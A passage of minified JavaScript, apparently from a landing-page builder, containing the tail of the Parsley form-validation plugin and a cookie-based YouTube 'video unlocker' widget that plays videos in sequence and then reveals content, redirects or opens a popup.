r)"undefined"==typeof this[n]&&(this[n]=r[n])},getName:function(){if(this.group)return"parsley-"+this.group;if(void 0===this.$element.attr("name"))throw"A radio / checkbox input must have a parsley-group attribute or a name to be Parsley validated !";return"parsley-"+this.$element.attr("name").replace(/(:|\.|\[|\]|\$)/g,"")},getVal:function(){if(this.isRadio)return e(this.siblings+":checked").val()||"";if(this.isCheckbox){var t=[];return e(this.siblings+":checked").each(function(){t.push(e(this).val())}),t}},bindValidationEvents:function(){this.valid=null,this.$element.addClass("parsley-validated"),this.$element.off("."+this.type);var t=this,n=(n=(this.options.trigger?this.options.trigger:"")+(/change/i.test(this.options.trigger)?"":" change")).replace(/^\s+/g,"").replace(/\s+$/g,"");e(this.siblings).each(function(){e(this).on(n.split(" ").join("."+t.type+" "),!1,e.proxy(t.eventValidation,t))})}};var o=function(e,t,n){this.init(e,t,n||"parsleyForm")};o.prototype={constructor:o,init:function(t,n,i){this.type=i,this.items=[],this.$element=e(t),this.options=n;var r=this;this.$element.find(n.inputs).each(function(){r.addItem(this)}),this.$element.on("submit."+this.type,!1,e.proxy(this.validate,this))},addListener:function(e){for(var t in e)if(/Field/.test(t))for(var n=0;n<this.items.length;n++)this.items[n].addListener(e);else this.options.listeners[t]=e[t]},addItem:function(t){(t=e(t).parsley(this.options)).setParent(this),this.items.push(t)},removeItem:function(t){t=e(t).parsley();for(var n=0;n<this.items.length;n++)if(this.items[n].hash===t.hash)return this.items[n].destroy(),this.items.splice(n,1),!0;return!1},validate:function(t){var n=!0;this.focusedField=!1;for(var i=0;i<this.items.length;i++)"undefined"!=typeof this.items[i]&&!1===this.items[i].validate()&&(n=!1,!this.focusedField&&"first"===this.options.focus||"last"===this.options.focus)&&(this.focusedField=this.items[i].$element);if(this.focusedField&&!n)if(0<this.options.scrollDuration){var r=this;i=this.focusedField.offset().top-e(window).height()/2;e("html, body").animate({scrollTop:i},this.options.scrollDuration,function(){r.focusedField.focus()})}else this.focusedField.focus();return void 0!==(t=this.options.listeners.onFormValidate(n,t,this))?t:n},isValid:function(){for(var e=0;e<this.items.length;e++)if(!1===this.items[e].isValid())return!1;return!0},removeErrors:function(){for(var e=0;e<this.items.length;e++)this.items[e].parsley("reset")},destroy:function(){for(var e=0;e<this.items.length;e++)this.items[e].destroy();this.$element.off("."+this.type).removeData(this.type)},reset:function(){for(var e=0;e<this.items.length;e++)this.items[e].UI.reset()}},e.fn.parsley=function(t,n){function a(n,a){var s=e(n).data(a);if(!s){switch(a){case"parsleyForm":s=new o(n,l,"parsleyForm");break;case"parsleyField":s=new i(n,l,"parsleyField");break;case"parsleyFieldMultiple":s=new r(n,l,"parsleyFieldMultiple");break;default:return}e(n).data(a,s)}return"string"==typeof t&&"function"==typeof s[t]?void 0!==(s=s[t].apply(s,u))?s:e(n):s}var s=e(this).data("parsleyNamespace")?e(this).data("parsleyNamespace"):void 0!==t&&"undefined"!=typeof t.namespace?t.namespace:e.fn.parsley.defaults.namespace,l=e.extend(!0,{},e.fn.parsley.defaults,"undefined"!=typeof window.ParsleyConfig?window.ParsleyConfig:{},t,this.domApi(s)),c=null,u=Array.prototype.slice.call(arguments,1);return e(this).is("form")||"undefined"!=typeof e(this).domApi(s).bind?c=a(e(this),"parsleyForm"):e(this).is(l.inputs)&&(c=a(e(this),e(this).is("input[type=radio], input[type=checkbox]")?"parsleyFieldMultiple":"parsleyField")),"function"==typeof n?n():c},e(window).on("load",function(){e("[parsley-validate], [data-parsley-validate]").each(function(){e(this).parsley()})}),e.fn.domApi=function(t){var n,r={},o=RegExp("^"+t,"i");if("undefined"==typeof this[0])return{};for(var s in this[0].attributes)if(null!=(n=this[0].attributes[s])&&n.specified&&o.test(n.name)){var l,c=r,u=a(n.name.replace(t,""));n=n.value;var d=void 0;try{l=n?"true"==n||"false"!=n&&("null"==n?null:isNaN(d=Number(n))?/^[\[\{]/.test(n)?e.parseJSON(n):n:d):n}catch(i){l=n}c[u]=l}return r};var a=function(e){return e.replace(/-+(.)?/g,function(e,t){return t?t.toUpperCase():""})};e.fn.parsley.defaults={namespace:"parsley-",inputs:"input, textarea, select",excluded:"input[type=hidden], input[type=file], :disabled",priorityEnabled:!0,trigger:!1,animate:!0,animateDuration:300,scrollDuration:500,focus:"first",validationMinlength:3,successClass:"parsley-success",errorClass:"parsley-error",errorMessage:!1,validators:{},showErrors:!0,useHtml5Constraints:!0,messages:{},validateIfUnchanged:!1,errors:{classHandler:function(){},container:function(){},errorsWrapper:"<ul></ul>",errorElem:"<li></li>"},listeners:{onFieldValidate:function(){return!1},onFormValidate:function(){},onFieldError:function(){},onFieldSuccess:function(){}}}}(window.jQuery||window.Zepto),$(".elVideoUnlockerElement").length){function checkifPreview_randomCookie(e){for(var t=window.location.search.substring(1).split("&"),n=0;n<t.length;n++){var i=t[n].split("=");if(i[0]==e)return i[1]}}var checkPreview=checkifPreview_randomCookie("track");if(0==checkPreview)var cookie_variable=$(".elVideoUnlockerElement").parent().attr("id")+window.location.href+Math.floor(1020*Math.random()+1);else var cookie_variable=$(".elVideoUnlockerElement").parent().attr("id")+window.location.href;var tag=document.createElement("script");tag.src="https://www.youtube.com/iframe_api";var firstScriptTag=document.getElementsByTagName("script")[0];firstScriptTag.parentNode.insertBefore(tag,firstScriptTag);var elVideo_one=$(".elVideoUnlock_one").attr("data-elvideoid")||"";elVideo_one=elVideo_one.replace("https://www.youtube.com/watch?v=",""),elVideo_one=elVideo_one.replace("https://youtu.be/","").split("?")[0];var elVideo_two=$(".elVideoUnlock_two").attr("data-elvideoid")||"";elVideo_two=elVideo_two.replace("https://www.youtube.com/watch?v=",""),elVideo_two=elVideo_two.replace("https://youtu.be/","").split("?")[0];var elVideo_three=$(".elVideoUnlock_three").attr("data-elvideoid")||"";elVideo_three=elVideo_three.replace("https://www.youtube.com/watch?v=",""),elVideo_three=elVideo_three.replace("https://youtu.be/","").split("?")[0];var elVideo_four=$(".elVideoUnlock_four").attr("data-elvideoid")||"";elVideo_four=elVideo_four.replace("https://www.youtube.com/watch?v=",""),elVideo_four=elVideo_four.replace("https://youtu.be/","").split("?")[0];var elVideo_type=$(".elVideoUnlockerElementRoot").attr("data-elunlocker-type"),elVideo_show=$(".elVideoUnlockerElement").attr("data-show-ids"),elVideo_hide=$(".elVideoUnlockerElement").attr("data-hide-ids");function elCheckVideoEndType(){if("hide_show"==elVideo_type){var e="#"+elVideo_show.split(",").join(", #"),t="#"+elVideo_hide.split(",").join(", #");$($.trim(t)).hide(),$($.trim(e)).fadeIn()}if("redirect"==elVideo_type&&window.location.replace($(".elVideoUnlockerElement").attr("data-elunlocker-redirecturl")),"popup"==elVideo_type)return $(".containerModal").show(),$(".modalBackdropWrapper").show(),setTimeout(function(){player.pauseVideo(),$("#elmainVideoPlayIcon").addClass("videoisPaused_elunlocker"),$(".elvideounlock_videoPauseBlocker").attr("style","background: rgba(0, 0, 0, .4)")},1500),$windowHeight=$(window).height(),$posTop=$(".containerModal").offset().top,$popupHeight=$(".containerModal").height()+$posTop,$windowHeight<$popupHeight?($(".containerModal").css("position","absolute"),$(window).scrollTop(0)):$(".containerModal").css("position","fixed"),$ID="modalPopup",$type=$("#"+$ID).attr("data-animate"),$delay=$("#"+$ID).attr("data-delay"),"fade"==$type?runAnimationFade($ID,$delay):"scale"==$type?runAnimationScale($ID,$delay):"left"==$type?runAnimationLeft($ID,$delay):"right"==$type?runAnimationRight($ID,$delay):"top"==$type?runAnimationTop($ID,$delay):"bottom"==$type&&runAnimationBottom($ID,$delay),!1}$(document).on("click",".modalBackdropWrapper, .closeLPModal",function(){$(".containerModal").delay(0).velocity({opacity:0,top:-300},200,function(){$(".modalBackdropWrapper").hide(),$(".containerModal").hide(),$(".containerModal").css("top",0)}),$windowHeight=$(window).height(),$posTop=$(".containerModal").offset().top,$popupHeight=$(".containerModal").height()+$posTop,$windowHeight<$popupHeight?$(".containerModal").css("position","absolute"):$(".containerModal").css("position","fixed")});var elVideo_numberofvideos=$(".elVideoUnlockerElement").attr("data-elunlocker-numberofvideos"),gettheType_unlocker=$(".elVideoUnlockerElementRoot").attr("data-elunlocker-thevideotype"),player;function unlockVideoDate(e,t){var n=moment().format("MM/DD/YYYY"),i=$(e).attr("data-date")+" "+$(e).attr("data-time")+":00",r=moment(i);r.diff(n,"days")<=0?($(t).removeClass("elVideoCurrentlyLocked"),$(e).parent().hide()):($(e).parent().fadeIn(),$(t).addClass("elVideoCurrentlyLocked"));var o=moment(r).format("MMM Do @ h:mm a");$(e).text(o)}function checkifUnlockableDate(e){var t=moment().format("MM/DD/YYYY"),n=$(e).attr("data-date")+" "+$(e).attr("data-time")+":00",i=$(".elVideoUnlockerElement").attr("data-elunlockerTimezone");return moment(n).zone(i).diff(t,"days")<=0}function checkifUnlockableEverGreenDate(e,t,n){var i=moment().format("MM/DD/YYYY"),r=$.cookie(n).split("_")[2],o=moment(r).format("MM/DD/YYYY");return checkTime=moment(o),checkTime.diff(i,"days")<=0}if(checkVideoType=$(".elVideoUnlockerElementRoot").attr("data-elunlocker-thevideotype"),"default"==checkVideoType)$.cookie("elVideoCheckUnlocked_one")!=cookie_variable&&$(".elVideoUnlock_one").removeClass("elVideoCurrentlyLocked"),$.cookie("elVideoCheckUnlocked_one")==cookie_variable&&$.cookie("elVideoCheckUnlocked_two")!=cookie_variable&&$(".elVideoUnlock_one").removeClass("elVideoCurrentlyLocked"),$.cookie("elVideoCheckUnlocked_one")==cookie_variable&&$.cookie("elVideoCheckUnlocked_two")==cookie_variable&&$.cookie("elVideoCheckUnlocked_three")!=cookie_variable&&$(".elVideoUnlock_two").removeClass("elVideoCurrentlyLocked"),$.cookie("elVideoCheckUnlocked_one")==cookie_variable&&$.cookie("elVideoCheckUnlocked_two")==cookie_variable&&$.cookie("elVideoCheckUnlocked_three")==cookie_variable&&($(".elVideoUnlock_two").removeClass("elVideoCurrentlyLocked"),$(".elVideoUnlock_three").removeClass("elVideoCurrentlyLocked")),$.cookie("elVideoCheckUnlocked_one")==cookie_variable&&$.cookie("elVideoCheckUnlocked_two")==cookie_variable&&$.cookie("elVideoCheckUnlocked_three")==cookie_variable&&$(".elVideoUnlock_four").removeClass("elVideoCurrentlyLocked");else if("evergreen"==checkVideoType){function everGreenDates(e,t){var n=$(".elunlockerdate"+e).attr("data-elunlocker-evergreen-interval"),i=moment().add(parseInt(n),"day").format("MM/DD/YYYY");if($.cookie("elVideoUnlocker_evergreendate_"+t)!=cookie_variable+"_"+i){$.cookie("elVideoUnlocker_evergreendate_"+t,cookie_variable+"_"+i),prettyDate=moment().add(parseInt(n),"day").format("MMM Do h:mm a");var r=moment().format("MM/DD/YYYY");checkTime=moment(i),checkTime.diff(r,"days")<=0?($(".elVideoUnlock_"+t).removeClass("elVideoCurrentlyLocked"),$(".elunlockerdate"+e).parent().hide()):($(".elunlockerdate"+e).text(prettyDate),$(".elunlockerdate"+e).parent().fadeIn())}else{prettyDate=moment().add(parseInt(n),"day").format("MMM Do h:mm a");r=moment().format("MM/DD/YYYY");checkTime=moment(i),checkTime.diff(r,"days")<=0?$(".elVideoUnlock_"+t).removeClass("elVideoCurrentlyLocked"):($(".elunlockerdate"+e).text(prettyDate),$(".elunlockerdate"+e).parent().fadeIn())}}everGreenDates("2","two"),everGreenDates("3","three"),everGreenDates("4","four")}else"date"==gettheType_unlocker?(unlockVideoDate(".elunlockerdate2",".elVideoUnlock_two"),unlockVideoDate(".elunlockerdate3",".elVideoUnlock_three"),unlockVideoDate(".elunlockerdate4",".elVideoUnlock_four")):"1"==elVideo_numberofvideos?($.cookie("elVideoCheckUnlocked_one"+window.location.href)==cookie_variable&&elCheckVideoEndType(),$(".elVideoUnlock_col").hide()):"2"==elVideo_numberofvideos?$.cookie("elVideoCheckUnlocked_one"+window.location.href)==cookie_variable&&elCheckVideoEndType():"3"==elVideo_numberofvideos?$.cookie("elVideoCheckUnlocked_one"+window.location.href)==cookie_variable&&$.cookie("elVideoCheckUnlocked_two"+window.location.href)==cookie_variable&&elCheckVideoEndType():"4"==elVideo_numberofvideos&&$.cookie("elVideoCheckUnlocked_one"+window.location.href)==cookie_variable&&$.cookie("elVideoCheckUnlocked_two"+window.location.href)==cookie_variable&&$.cookie("elVideoCheckUnlocked_three"+window.location.href)==cookie_variable&&elCheckVideoEndType();function onYouTubeIframeAPIReady(){player=new YT.Player("elmainVideoPlayer",{height:"390",width:"640",videoId:elVideo_one,playerVars:{autoplay:1,controls:0,modestbranding:0,showinfo:0,rel:0,iv_load_policy:3},events:{onReady:onPlayerReady,onStateChange:onPlayerStateChange}})}function elUnlocker_startVideo(e,t){player.unMute(),"1"==e&&(elVideo_playnow=elVideo_one),"2"==e&&(elVideo_playnow=elVideo_two),"3"==e&&(elVideo_playnow=elVideo_three),"4"==e&&(elVideo_playnow=elVideo_four),checkVideoType=$(".elVideoUnlockerElementRoot").attr("data-elunlocker-thevideotype"),"date"==checkVideoType?1==checkifUnlockableDate(".elunlockerdate"+e,".elVideoUnlock_"+t)&&($(".elVideoUnlock_col").removeClass("elCurrentlyPlayingVideoUnlocker"),$(".elVideoUnlock_"+t).removeClass("elVideoCurrentlyLocked"),$(".elVideoUnlock_"+t).addClass("elCurrentlyPlayingVideoUnlocker"),player.loadVideoById({videoId:elVideo_playnow,suggestedQuality:"large"})):"default"==checkVideoType?($(".elVideoUnlock_col").removeClass("elCurrentlyPlayingVideoUnlocker"),$(".elVideoUnlock_"+t).removeClass("elVideoCurrentlyLocked"),$(".elVideoUnlock_"+t).addClass("elCurrentlyPlayingVideoUnlocker"),player.loadVideoById({videoId:elVideo_playnow,suggestedQuality:"large"})):"evergreen"==checkVideoType&&1==checkifUnlockableEverGreenDate(".elunlockerdate"+e,".elVideoUnlock_"+t,"elVideoUnlocker_evergreendate_"+t)&&($(".elVideoUnlock_col").removeClass("elCurrentlyPlayingVideoUnlocker"),$(".elVideoUnlock_"+t).removeClass("elVideoCurrentlyLocked"),$(".elVideoUnlock_"+t).addClass("elCurrentlyPlayingVideoUnlocker"),player.loadVideoById({videoId:elVideo_playnow,suggestedQuality:"large"}))}function onPlayerReady(){$.cookie("elVideoCheckUnlocked_one"+window.location.href)!=cookie_variable||"1"==elVideo_numberofvideos?(player.unMute(),player.loadVideoById({videoId:elVideo_one,suggestedQuality:"large"}),$(".elVideoUnlock_col").removeClass("elCurrentlyPlayingVideoUnlocker"),$(".elVideoUnlock_one").addClass("elCurrentlyPlayingVideoUnlocker")):$.cookie("elVideoCheckUnlocked_one"+window.location.href)==cookie_variable&&$.cookie("elVideoCheckUnlocked_two"+window.location.href)!=cookie_variable||"2"==elVideo_numberofvideos?elUnlocker_startVideo("2","two"):$.cookie("elVideoCheckUnlocked_one"+window.location.href)==cookie_variable&&$.cookie("elVideoCheckUnlocked_two"+window.location.href)==cookie_variable&&$.cookie("elVideoCheckUnlocked_three"+window.location.href)!=cookie_variable||"3"==elVideo_numberofvideos?elUnlocker_startVideo("3","three"):$.cookie("elVideoCheckUnlocked_one"+window.location.href)==cookie_variable&&$.cookie("elVideoCheckUnlocked_two"+window.location.href)==cookie_variable&&$.cookie("elVideoCheckUnlocked_three"+window.location.href)==cookie_variable||"4"==elVideo_numberofvideos?elUnlocker_startVideo("4","four"):$.cookie("elVideoCheckUnlocked_one"+window.location.href)==cookie_variable&&$.cookie("elVideoCheckUnlocked_two"+window.location.href)==cookie_variable&&$.cookie("elVideoCheckUnlocked_three"+window.location.href)==cookie_variable?(checkVideoType=$(".elVideoUnlockerElementRoot").attr("data-elunlocker-thevideotype"),"date"==checkVideoType?1==checkifUnlockableDate(".elunlockerdate4",".elVideoUnlock_four")&&($(".elVideoUnlock_four").removeClass("elVideoCurrentlyLocked"),$.cookie("elVideoCheckUnlocked_four"+window.location.href,cookie_variable),$.cookie("elVideoTimeUnlocked_four"+window.location.href,""),"4"==elVideo_numberofvideos&&(elCheckVideoEndType(),clearInterval(runTheTimes))):"default"==checkVideoType?($(".elVideoUnlock_four").removeClass("elVideoCurrentlyLocked"),$.cookie("elVideoCheckUnlocked_four"+window.location.href,cookie_variable),$.cookie("elVideoTimeUnlocked_four"+window.location.href,""),"4"==elVideo_numberofvideos&&(elCheckVideoEndType(),clearInterval(runTheTimes))):"evergreen"==checkVideoType&&1==checkifUnlockableEverGreenDate(".elunlockerdate4",".elVideoUnlock_four","elVideoUnlocker_evergreendate_four")&&($(".elVideoUnlock_four").removeClass("elVideoCurrentlyLocked"),$.cookie("elVideoCheckUnlocked_four"+window.location.href,cookie_variable),$.cookie("elVideoTimeUnlocked_four"+window.location.href,""),"4"==elVideo_numberofvideos&&(elCheckVideoEndType(),clearInterval(runTheTimes)))):player.loadVideoById({videoId:elVideo_one,suggestedQuality:"large"}),"0"==$(".elVideoUnlockerElement").attr("data-elunlocker-autoplay")&&(player.mute(),setTimeout(function(){player.pauseVideo(),$("#elmainVideoPlayIcon").addClass("videoisPaused_elunlocker"),$(".elvideounlock_videoPauseBlocker").attr("style","background: rgba(0, 0, 0, .4)")},700))}function elvideounlockerProgress(e,t){e=Math.round(e),t.width();t.find("div").velocity({width:e+"%"})}var playVideoText=$(".elvideounlocker_playtext").text(),pauseVideoText=$(".elVideoUnlockerElement").attr("data-elunlocker-pausetext"),playingVideoText=$(".elVideoUnlockerElement").attr("data-elunlocker-playingtext"),lockedVideoText=$(".lockedbuttonUnlocker").first().text();function elUnlocker_changeVideo(e,t){player.unMute(),"1"==e&&(elVideo_playnow=elVideo_two,elVideo_playnext="two",elVideo_nextnumber="2"),"2"==e&&(elVideo_playnow=elVideo_three,elVideo_playnext="three",elVideo_nextnumber="3"),"3"==e&&(elVideo_playnow=elVideo_four,elVideo_playnext="four",elVideo_nextnumber="4"),"4"==e&&(elVideo_playnow=elVideo_four,elVideo_playnext="four",elVideo_nextnumber="4"),$.cookie("elVideoCheckUnlocked_"+t,cookie_variable),$.cookie("elVideoTimeUnlocked_"+t,""),$(".elVideoUnlock_col").removeClass("elCurrentlyPlayingVideoUnlocker"),$("#elVideoProgressBarUnlocker div").velocity({width:"100%"}),"undefined"!=typeof runTheTimes&&clearInterval(runTheTimes),"undefined"!=typeof elvideounlocker_progresssbar&&clearTimeout(elvideounlocker_progresssbar),checkVideoType=$(".elVideoUnlockerElementRoot").attr("data-elunlocker-thevideotype"),"date"==checkVideoType?1==checkifUnlockableDate(".elunlockerdate"+elVideo_nextnumber,".elVideoUnlock_"+elVideo_playnext)&&($(".elVideoUnlock_"+elVideo_playnext).removeClass("elVideoCurrentlyLocked"),$(".elVideoUnlock_"+elVideo_playnext).addClass("elCurrentlyPlayingVideoUnlocker"),elVideo_numberofvideos==e?elCheckVideoEndType(t):player.loadVideoById(elVideo_playnow)):"default"==checkVideoType?($(".elVideoUnlock_"+elVideo_playnext).removeClass("elVideoCurrentlyLocked"),$(".elVideoUnlock_"+elVideo_playnext).addClass("elCurrentlyPlayingVideoUnlocker"),elVideo_numberofvideos==e?elCheckVideoEndType(t):player.loadVideoById(elVideo_playnow)):"evergreen"==checkVideoType&&1==checkifUnlockableEverGreenDate(".elunlockerdate"+elVideo_nextnumber,".elVideoUnlock_"+elVideo_playnext,"elVideoUnlocker_evergreendate_"+elVideo_playnext)&&($(".elVideoUnlock_"+elVideo_playnext).removeClass("elVideoCurrentlyLocked"),$(".elVideoUnlock_"+elVideo_playnext).addClass("elCurrentlyPlayingVideoUnlocker"),elVideo_numberofvideos==e?elCheckVideoEndType(t):player.loadVideoById(elVideo_playnow))}function onPlayerStateChange(e){function t(){0==$(".elVideoUnlock_one").hasClass("elVideoCurrentlyLocked")&&$(".elVideoUnlock_one .btn-videounlockbutton").html('<i class="fa fa-play-circle"></i> <span class="elvideounlocker_playtext">'+playVideoText+"</span>"),0==$(".elVideoUnlock_two").hasClass("elVideoCurrentlyLocked")&&$(".elVideoUnlock_two .btn-videounlockbutton").html('<i class="fa fa-play-circle"></i> <span class="elvideounlocker_playtext">'+playVideoText+"</span>"),0==$(".elVideoUnlock_three").hasClass("elVideoCurrentlyLocked")&&$(".elVideoUnlock_three .btn-videounlockbutton").html('<i class="fa fa-play-circle"></i> <span class="elvideounlocker_playtext">'+playVideoText+"</span>"),0==$(".elVideoUnlock_four").hasClass("elVideoCurrentlyLocked")&&$(".elVideoUnlock_four .btn-videounlockbutton").html('<i class="fa fa-play-circle"></i> <span class="elvideounlocker_playtext">'+playVideoText+"</span>"),player.getVideoData().video_id==elVideo_one?($(".elVideoUnlock_one .btn-videounlockbutton").html('<i class="fa fa-play-circle"></i> '+playingVideoText),$(".elVideoUnlock_one").attr("title",playVideoText)):player.getVideoData().video_id==elVideo_two?($(".elVideoUnlock_two .btn-videounlockbutton").html('<i class="fa fa-play-circle"></i> '+playingVideoText),$(".elVideoUnlock_two").attr("title",playVideoText)):player.getVideoData().video_id==elVideo_three?($(".elVideoUnlock_three .btn-videounlockbutton").html('<i class="fa fa-play-circle"></i> '+playingVideoText),$(".elVideoUnlock_three").attr("title",playVideoText)):player.getVideoData().video_id==elVideo_four&&($(".elVideoUnlock_four .btn-videounlockbutton").html('<i class="fa fa-play-circle"></i> '+playingVideoText),$(".elVideoUnlock_four").attr("title",playVideoText))}if(0===e.data&&($("#elVideoProgressBarUnlocker div").velocity({width:"100%"}),0==$(".elVideoUnlock_one").hasClass("elVideoCurrentlyLocked")&&($(".elVideoUnlock_one .btn-videounlockbutton").html('<i class="fa fa-play-circle"></i> <span class="elvideounlocker_playtext">'+playVideoText+"</span>"),$(".elVideoUnlock_one").attr("title",playVideoText)),0==$(".elVideoUnlock_twp").hasClass("elVideoCurrentlyLocked")&&($(".elVideoUnlock_two .btn-videounlockbutton").html('<i class="fa fa-play-circle"></i> <span class="elvideounlocker_playtext">'+playVideoText+"</span>"),$(".elVideoUnlock_two").attr("title",playVideoText)),0==$(".elVideoUnlock_three").hasClass("elVideoCurrentlyLocked")&&($(".elVideoUnlock_three .btn-videounlockbutton").html('<i class="fa fa-play-circle"></i> <span class="elvideounlocker_playtext">'+playVideoText+"</span>"),$(".elVideoUnlock_three").attr("title",playVideoText)),0==$(".elVideoUnlock_four").hasClass("elVideoCurrentlyLocked")&&($(".elVideoUnlock_four .btn-videounlockbutton").html('<i class="fa fa-play-circle"></i> <span class="elvideounlocker_playtext">'+playVideoText+"</span>"),$(".elVideoUnlock_four").attr("title",playVideoText)),$("#elmainVideoPlayIcon").addClass("videoisPaused_elunlocker"),$(".elvideounlock_videoPauseBlocker").attr("style","background: rgba(0, 0, 0, .4)"),$.cookie("elVideoCheckUnlocked_one"+window.location.href)!=cookie_variable&&$.cookie("elVideoCheckUnlocked_two"+window.location.href)!=cookie_variable&&$.cookie("elVideoCheckUnlocked_three"+window.location.href)!=cookie_variable&&player.getVideoData()&&player.getVideoData().video_id==elVideo_one&&elUnlocker_changeVideo("1","one"),player.getVideoData()&&player.getVideoData().video_id==elVideo_two&&elUnlocker_changeVideo("2","two"),player.getVideoData()&&player.getVideoData().video_id==elVideo_three&&elUnlocker_changeVideo("3","three"),player.getVideoData()&&player.getVideoData().video_id==elVideo_four&&elUnlocker_changeVideo("4","four")),1===e.data){$("#elmainVideoPlayIcon").removeClass("videoisPaused_elunlocker"),$(".elvideounlock_videoPauseBlocker").attr("style","background:none"),$.cookie("elVideoCheckUnlocked_one"+window.location.href)!=cookie_variable?runTheTimes=setInterval(function(){$.cookie("elVideoTimeUnlocked_one"+window.location.href,player.getCurrentTime())},1e3):$.cookie("elVideoCheckUnlocked_one"+window.location.href)==cookie_variable&&$.cookie("elVideoCheckUnlocked_two"+window.location.href)!=cookie_variable?runTheTimes=setInterval(function(){$.cookie("elVideoTimeUnlocked_two"+window.location.href,player.getCurrentTime())},1e3):$.cookie("elVideoCheckUnlocked_one"+window.location.href)==cookie_variable&&$.cookie("elVideoCheckUnlocked_two"+window.location.href)==cookie_variable&&$.cookie("elVideoCheckUnlocked_three"+window.location.href)!=cookie_variable?runTheTimes=setInterval(function(){$.cookie("elVideoTimeUnlocked_three"+window.location.href,player.getCurrentTime())},1e3):$.cookie("elVideoCheckUnlocked_one"+window.location.href)==cookie_variable&&$.cookie("elVideoCheckUnlocked_two"+window.location.href)==cookie_variable&&$.cookie("elVideoCheckUnlocked_three"+window.location.href)==cookie_variable&&(runTheTimes=setInterval(function(){$.cookie("elVideoTimeUnlocked_four"+window.location.href,player.getCurrentTime())},1e3)),t();var n=player.getDuration();elvideounlocker_progresssbar=setInterval(function(){elvideounlockerProgress(player.getCurrentTime()/n*100,$("#elVideoProgressBarUnlocker"))},1e3)}else"undefined"!=typeof elvideounlocker_progresssbar&&clearTimeout(elvideounlocker_progresssbar);2===e.data&&(player.getVideoData().video_id==elVideo_one?($(".elVideoUnlock_one .btn-videounlockbutton").html('<i class="fa fa-pause"></i> '+pauseVideoText),$(".elVideoUnlock_one").attr("title",playVideoText)):player.getVideoData().video_id==elVideo_two?($(".elVideoUnlock_two .btn-videounlockbutton").html('<i class="fa fa-pause"></i> '+pauseVideoText),$(".elVideoUnlock_two").attr("title",playVideoText)):player.getVideoData().video_id==elVideo_three?($(".elVideoUnlock_three .btn-videounlockbutton").html('<i class="fa fa-pause"></i> '+pauseVideoText),$(".elVideoUnlock_three").attr("title",playVideoText)):player.getVideoData().video_id==elVideo_four&&($(".elVideoUnlock_four .btn-videounlockbutton").html('<i class="fa fa-pause"></i> '+pauseVideoText),$(".elVideoUnlock_four").attr("title",playVideoText)))}function runAnimationFade(e,t){$("#"+e).css("opacity",0),$("#"+e).delay(t).velocity({opacity:1},200)}function runAnimationScale(e,t){$("#"+e).css("opacity",0),$("#"+e).delay(t).velocity({opacity:1,scaleX:1.1,scaleY:1.1},200,function(){$("#"+e).velocity({scaleX:1,scaleY:1},200)})}function runAnimationLeft(e,t){$("#"+e).css("opacity",0),$("#"+e).css("left","-800px").delay(t).velocity({opacity:1,left:30},200,function(){$(this).velocity({left:0},200)})}function runAnimationRight(e,t){$("#"+e).css("opacity",0),$("#"+e).css("right","-800px").delay(t).velocity({opacity:1,right:30},200,function(){$(this).velocity({right:0},200)})}function runAnimationTop(e,t){$("#"+e).css("opacity",0),$("#"+e).css("top","-800px").delay(t).velocity({opacity:1},200,function(){$(this).velocity({top:0},200)})}function runAnimationBottom(e,t){$("#"+e).css("opacity",0),$("#"+e).css("bottom","-800px").delay(t).velocity({opacity:1},200,function(){$(this).velocity({bottom:0},200)})}$(".elVideoCurrentlyLocked").attr("title",lockedVideoText),$(".elVideoUnlock_col").click(function(){if(0==$(this).hasClass("elCurrentlyPlayingVideoUnlocker")){if(0==$(this).hasClass("elVideoCurrentlyLocked")){var e=$(this).attr("data-elvideoid");e=(e=e.replace("https://www.youtube.com/watch?v=","")).replace("https://youtu.be/","").split("?")[0],player.loadVideoById(e),$(".elVideoUnlock_col").removeClass("elCurrentlyPlayingVideoUnlocker"),$(this).addClass("elCurrentlyPlayingVideoUnlocker"),$("#elmainVideoPlayIcon").removeClass("videoisPaused_elunlocker"),$(".elvideounlock_videoPauseBlocker").attr("style","background: none"),$("#elVideoProgressBarUnlocker div").velocity({width:0})}}else $("#elmainVideoPlayIcon").hasClass("videoisPaused_elunlocker")?(player.unMute(),player.playVideo(),$("#elmainVideoPlayIcon").removeClass("videoisPaused_elunlocker"),$(".elvideounlock_videoPauseBlocker").attr("style","background: none")):(player.pauseVideo(),$("#elmainVideoPlayIcon").addClass("videoisPaused_elunlocker"),$(".elvideounlock_videoPauseBlocker").attr("style","background: rgba(0, 0, 0, .4)"))}),$(".btn-videounlockbutton").click(function(e){e.preventDefault()}),$(document).on("click",".elvideounlock_videoPauseBlocker",function(){$("#elmainVideoPlayIcon").hasClass("videoisPaused_elunlocker")?(player.playVideo(),player.unMute(),player.setVolume(100),$("#elmainVideoPlayIcon").removeClass("videoisPaused_elunlocker"),$(this).attr("style","background: none")):(player.pauseVideo(),$("#elmainVideoPlayIcon").addClass("videoisPaused_elunlocker"),$(this).attr("style","background: rgba(0, 0, 0, .4)"))}),$(window).on("blur focus",function(e){var t=$(this).data("prevType");if("true"==$(".elVideoUnlockerElement").attr("data-elunlocker-forcepause")){if(t!=e.type)switch(e.type){case"blur": player.pauseVideo(),$("#elmainVideoPlayIcon").addClass("videoisPaused_elunlocker"),$(".elvideounlock_videoPauseBlocker").attr("style","background: rgba(0, 0, 0, .4)");break;case"focus":var n=player.getVideoData();elVideo_one==n.video_id&&$(".elVideoUnlock_one").addClass("elCurrentlyPlayingVideoUnlocker"),elVideo_two==n.video_id&&$(".elVideoUnlock_two").addClass("elCurrentlyPlayingVideoUnlocker"),elVideo_three==n.video_id&&$(".elVideoUnlock_three").addClass("elCurrentlyPlayingVideoUnlocker"),elVideo_four==n.video_id&&$(".elVideoUnlock_four").addClass("elCurrentlyPlayingVideoUnlocker"),$("#elmainVideoPlayIcon").removeClass("videoisPaused_elunlocker"),$(".elvideounlock_videoPauseBlocker").attr("style","background: none"),player.playVideo()}}else if(t!=e.type)switch(e.type){case"blur":"undefined"!=typeof elvideounlocker_progresssbar&&clearTimeout(elvideounlocker_progresssbar);break;case"focus":var i=player.getDuration();"undefined"!=typeof elvideounlocker_progresssbar&&clearTimeout(elvideounlocker_progresssbar),elvideounlocker_progresssbar=setInterval(function(){clearTimeout(elvideounlocker_progresssbar),elvideounlockerProgress(player.getCurrentTime()/i*100,$("#elVideoProgressBarUnlocker"))},1e3)}$(this).data("prevType",e.type)})}var CFSurveyParticipantID,cfpeorders;document.querySelector('[data-survey-new="true"]')&&function(e,t,n){var i,r=!("Keen"===e||!window.Keen)&&window.Keen;n[e]=n[e]||{ready:function(o){var 